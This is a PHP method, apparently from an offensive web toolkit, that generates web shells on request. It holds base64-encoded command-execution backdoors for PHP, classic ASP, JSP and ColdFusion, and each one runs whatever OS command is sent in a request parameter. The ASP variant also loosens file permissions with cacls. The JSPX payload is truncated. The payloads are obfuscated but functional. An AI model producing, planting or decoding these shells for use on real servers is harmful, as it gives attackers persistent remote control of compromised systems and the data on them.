Controller\Websaccre::shellGenerator PHP Method

shellGenerator() public method

public shellGenerator ( controller\Base $f3 )
$f3 controller\Base
    public function shellGenerator(\Base $f3)
    {
        $this->response->data['SUBPART'] = 'websaccre_shellgen.html';
        $leg_ashell = " PCUNCg0KRGltIG9TLG9TTmV0LG9GU3lzLCBvRixzekNNRCwgc3pURg0KT24gRXJyb3IgUmVzdW1lIE5leHQNClNldCBvUyA9IFNlcnZlci5DcmVhdGVPYmplY3QoIldTQ1JJUFQuU0hFTEwiKQ0KU2V0IG9TTmV0ID0gU2VydmVyLkNyZWF0ZU9iamVjdCgiV1NDUklQVC5ORVRXT1JLIikNClNldCBvRlN5cyA9IFNlcnZlci5DcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IikNCnN6Q01EID0gUmVxdWVzdC5Gb3JtKCJDIikNCklmIChzekNNRCA8PiAiIikgVGhlbg0KICBzelRGID0gImM6XHdpbmRvd3NccGNoZWFsdGhcRVJST1JSRVBcUUhFQURMRVNcIiAmICBvRlN5cy5HZXRUZW1wTmFtZSgpDQogICcgSGVyZSB3ZSBkbyB0aGUgY29tbWFuZA0KICBDYWxsIG9TLlJ1bigid2luLmNvbSBjbWQuZXhlIC9jICIiIiAmIHN6Q01EICYgIiA+ICIgJiBzelRGICYNCiIiIiIsMCxUcnVlKQ0KICByZXNwb25zZS53cml0ZSBzelRGDQogICcgQ2hhbmdlIHBlcm1zDQogIENhbGwgb1MuUnVuKCJ3aW4uY29tIGNtZC5leGUgL2MgY2FjbHMuZXhlICIgJiBzelRGICYgIiAvRSAvRw0KZXZlcnlvbmU6RiIsMCxUcnVlKQ0KICBTZXQgb0YgPSBvRlN5cy5PcGVuVGV4dEZpbGUoc3pURiwxLEZhbHNlLDApDQpFbmQgSWYgDQolPg0KPEZPUk0gYWN0aW9uPSI8JT0gUmVxdWVzdC5TZXJ2ZXJWYXJpYWJsZXMoIlVSTCIpICU+IiBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJDIiBzaXplPTcwIHZhbHVlPSI8JT0gc3pDTUQgJT4iPg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJSdW4iPjwvRk9STT48UFJFPg0KTWFjaGluZTogPCU9b1NOZXQuQ29tcHV0ZXJOYW1lJT48QlI+DQpVc2VybmFtZTogPCU9b1NOZXQuVXNlck5hbWUlPjxicj4NCjwlIA0KSWYgKElzT2JqZWN0KG9GKSkgVGhlbg0KICBPbiBFcnJvciBSZXN1bWUgTmV4dA0KICBSZXNwb25zZS5Xcml0ZSBTZXJ2ZXIuSFRNTEVuY29kZShvRi5SZWFkQWxsKQ0KICBvRi5DbG9zZQ0KICBDYWxsIG9TLlJ1bigid2luLmNvbSBjbWQuZXhlIC9jIGRlbCAiJiBzelRGLDAsVHJ1ZSkNCkVuZCBJZiANCg0KJT4= ";
        $pshell = "PD9waHAgIA0KaWYgKGlzc2V0KCRfUE9TVFsnY21kJ10pKXsgIA0KICAgICRjbWQ9KCRfUE9TVFsiY21kIl0pOyAgDQogICAgZWNobyBzeXN0ZW0oJGNtZCk7ICANCiAgICBkaWU7ICANCn0gIA0KPz4=";
        $ashell = "PCUNCklmIChyZXF1ZXN0KCJjbWQiKSA8PiAiIikgVGhlbg0KUmVzcG9uc2UuV3JpdGUgU2VydmVyLkhUTUxFbmNvZGUoc2VydmVyLmNyZWF0ZW9iamVjdCgid3NjcmlwdC5zaGVsbCIpLmV4ZWMoU2VydmVyLk1hcFBhdGgoImNtZC5leGUiKSYgIiAvYyAiICYNCg0KcmVxdWVzdCgiY21kIikpLnN0ZG91dC5yZWFkYWxsKQ0KRW5kIElmDQolPg";
        $jshell = "PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4NCjwlDQolPg0KPCUNCmlmIChyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikgIT0gbnVsbCkgew0KUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpOw0KT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsNCklucHV0U3RyZWFtIGluID0gcC5nZXRJbnB1dFN0cmVhbSgpOw0KRGF0YUlucHV0U3RyZWFtIGRpcyA9IG5ldyBEYXRhSW5wdXRTdHJlYW0oaW4pOw0KU3RyaW5nIGRpc3IgPSBkaXMucmVhZExpbmUoKTsNCndoaWxlICggZGlzciAhPSBudWxsICkgew0Kb3V0LnByaW50bG4oZGlzcik7DQpkaXNyID0gZGlzLnJlYWRMaW5lKCk7DQp9DQp9DQolPg==\n";
        $jspx = "PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbG5zOmM9Imh0dHA6Ly9qYXZhLnN1bi5jb20vanNwL2pzdGwvY29yZSIgdmVyc2lvbj0iMi4wIj4NCjxqc3A6ZGlyZWN0aXZlLnBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04Ii8";
        $cfmshell = "  PGh0bWw+DQo8Ym9keT4NCg0KPGNmb3V0cHV0Pg0KPHRhYmxlPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQogPHRyPg0KICA8dGQ+Q29tbWFuZDo8L3RkPg0KICA8dGQ+IDwgaW5wdXQgdHlwZT10ZXh0IG5hbWU9ImNtZCIgc2l6ZT01MDxjZmlmIGlzZGVmaW5lZCgiZm9ybS5jbWQiKT4gdmFsdWU9IiNmb3JtLmNtZCMiIDwvY2ZpZj4+IDwgYnI+PC90ZD4NCiA8L3RyPg0KIDx0cj4NCiAgPHRkPk9wdGlvbnM6PC90ZD4NCiAgPHRkPiA8IGlucHV0IHR5cGU9dGV4dCBuYW1lPSJvcHRzIiBzaXplPTUwIDxjZmlmIGlzZGVmaW5lZCgiZm9ybS5vcHRzIik+IHZhbHVlPSIjZm9ybS5vcHRzIyIgPC9jZmlmPiA+PCBicj4gPC90ZD4NCiA8L3RyPg0KIDx0cj4NCiAgPHRkPlRpbWVvdXQ6PC90ZD4NCiAgPHRkPjwgaW5wdXQgdHlwZT10ZXh0IG5hbWU9InRpbWVvdXQiIHNpemU9NCA8Y2ZpZiBpc2RlZmluZWQoImZvcm0udGltZW91dCIpPiB2YWx1ZT0iI2Zvcm0udGltZW91dCMiIDxjZmVsc2U+IHZhbHVlPSI1IiA8L2NmaWY+ID4gPC90ZD4NCiA8L3RyPg0KPC90YWJsZT4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iRXhlYyIgPg0KPC9GT1JNPg0KDQo8Y2ZzYXZlY29udGVudCB2YXJpYWJsZT0ibXlWYXIiPg0KPGNmZXhlY3V0ZSBuYW1lID0gIiNGb3JtLmNtZCMiIGFyZ3VtZW50cyA9ICIjRm9ybS5vcHRzIyIgdGltZW91dCA9ICIjRm9ybS50aW1lb3V0IyI+DQo8L2NmZXhlY3V0ZT4NCjwvY2ZzYXZlY29udGVudD4NCjxwcmU+DQojbXlWYXIjDQo8L3ByZT4NCjwvY2ZvdXRwdXQ+DQo8L2JvZHk+DQo8L2h0bWw+";
        $shell_type = $f3->get('POST.shelltype');
        if ($f3->get('VERB') == 'POST') {
            $error = false;
            switch ($shell_type) {
                case "PHP":
                    $this->response->data['content'] = base64_decode($pshell);
                    break;
                case "ASP":
                    $this->response->data['content'] = base64_decode($leg_ashell);
                    break;
                case "CFM":
                    $this->response->data['content'] = base64_decode($cfmshell);
                    break;
                case "ASPX":
                    $this->response->data['content'] = base64_decode($ashell);
                    break;
                case "JSP":
                    $this->response->data['content'] = base64_decode($jshell);
                    break;
                case "JSPX":
                    $this->response->data['content'] = base64_decode($jspx);
                    break;
                default:
                    $this->response->data['content'] = "Invalid Shell Type Request";
                    break;
            }
        }
    }